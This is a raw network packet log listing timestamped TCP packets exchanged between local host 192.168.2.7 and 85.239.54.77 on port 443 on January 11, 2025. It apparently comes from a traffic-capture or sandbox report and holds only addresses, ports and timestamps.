Jan 11, 2025 09:26:37.291292906 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.291337967 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.291373968 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.291450977 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.291820049 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.291862011 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.291887045 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.291898012 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.291924000 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.291939020 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.292453051 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.292496920 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.292516947 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.292530060 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.292542934 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.292650938 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.292798042 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.292850018 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.292881966 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.292889118 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.292918921 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.292932987 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.293306112 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.293350935 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.293376923 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.293382883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.293411016 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.293423891 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.294133902 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.294190884 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.294218063 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.294228077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.294251919 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.294267893 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.294774055 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.294816017 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.294836998 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.294850111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.294873953 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.294891119 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.295483112 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.360282898 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.360321045 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.360475063 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.360518932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.362572908 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.377938986 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.377981901 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.378011942 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.378046036 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.378065109 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.378088951 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.378629923 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.378670931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.378720045 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.378732920 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.378765106 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.378781080 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.379067898 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.379106045 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.379123926 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.379136086 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.379154921 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.379175901 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.379615068 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.379657030 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.379684925 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.379693985 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.379722118 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.379739046 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.380167961 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.380208969 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.380227089 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.380239010 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.380265951 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.380280972 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.380800962 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.380840063 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.380865097 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.380881071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.380901098 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.380909920 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.381357908 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.381398916 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.381436110 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.381444931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.381460905 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.381481886 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.382605076 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.447381020 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.447448015 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.447488070 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.447519064 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.447550058 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.447572947 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.464911938 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.464971066 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.465012074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.465038061 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.465071917 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.465086937 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.465531111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.465576887 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.465635061 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.465641022 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.465672016 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.465771914 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.466123104 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.466177940 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.466196060 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.466206074 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.466233969 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.466248035 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.466908932 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.466952085 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.466979027 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.466985941 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.467024088 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.467223883 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.467264891 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.467288971 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.467294931 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.467336893 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.467353106 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.467741013 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.467758894 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.467809916 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.467816114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.468019962 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.468436956 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.468455076 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.468508959 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.468514919 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.468632936 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.469835043 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.534070969 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.534099102 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.534153938 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.534183025 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.534224987 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.534240961 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.551615000 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.551641941 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.551698923 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.551727057 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.551767111 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.552134037 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.552159071 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.552212000 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.552220106 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.552674055 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.552697897 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.552743912 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.552753925 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.552767992 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.552828074 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.553191900 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.553206921 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.553314924 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.553322077 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.553363085 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.553509951 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.553527117 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.553569078 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.553575993 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.553602934 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.553627014 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.554044962 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.554061890 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.554114103 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.554120064 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.554354906 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.554379940 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.554440022 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.554446936 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.556014061 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.556041956 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.620893955 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.620922089 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.620986938 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.621018887 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.622572899 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.638627052 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.638643980 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.638741016 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.638755083 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.638823032 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.639184952 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.639199972 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.639262915 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.639269114 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.639797926 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.639816999 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.639869928 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.639877081 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.639914989 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.640338898 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.640357971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.640412092 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.640418053 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.641026974 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.641043901 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.641112089 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.641118050 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.641675949 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.641689062 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.641738892 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.641753912 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.641755104 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.641772032 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.641799927 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.643501997 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.707896948 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.707983971 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.708029032 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.708039999 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.708070993 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.708092928 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.725445986 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.725466967 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.725559950 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.725568056 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.725605965 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.725999117 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.726018906 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.726087093 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.726094007 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.726735115 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.726756096 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.726809978 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.726819038 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.727406979 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.727421999 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.727478981 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.727487087 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.728070021 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.728089094 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.728132010 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.728142977 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.728158951 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.728193045 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.728441954 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.728462934 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.728506088 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.728513002 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.728526115 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.728554010 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.729135036 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.729149103 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.729197979 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.729204893 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.729973078 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.729986906 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.794557095 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.794603109 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.794636965 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.794646025 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.794687986 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.812213898 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.812288046 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.812318087 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.812331915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.812375069 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.812652111 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.812691927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.812706947 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.812721014 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.812738895 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.812760115 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.813159943 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.813198090 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.813213110 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.813226938 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.813246965 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.813266993 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.813644886 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.813685894 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.813699961 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.813714027 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.813735962 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.813751936 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.814233065 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.814270973 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.814296961 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.814306974 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.814327955 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.814351082 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.814436913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.814477921 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.814492941 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.814503908 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.814524889 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.814543009 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.815195084 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.815236092 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.815253019 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.815268993 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.815282106 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.815305948 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.818473101 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.881479979 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.881525040 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.881547928 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.881573915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.881577969 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.881671906 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.899075031 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.899116039 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.899147034 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.899154902 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.899189949 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.899209976 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.899427891 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.899466991 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.899497032 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.899504900 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.899519920 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.899544001 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.899976015 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.900017023 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.900047064 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.900053024 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.900096893 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.900490999 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.900533915 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.900584936 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.900590897 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.900738955 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.900739908 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.901053905 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.901094913 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.901115894 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.901125908 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.901146889 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.901170015 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.901452065 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.901490927 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.901511908 CET	49941	443	192.168.2.7	85.239.54.77
Jan 11, 2025 09:26:37.901520014 CET	443	49941	85.239.54.77	192.168.2.7
Jan 11, 2025 09:26:37.901535988 CET	49941	443	192.168.2.7	85.239.54.77
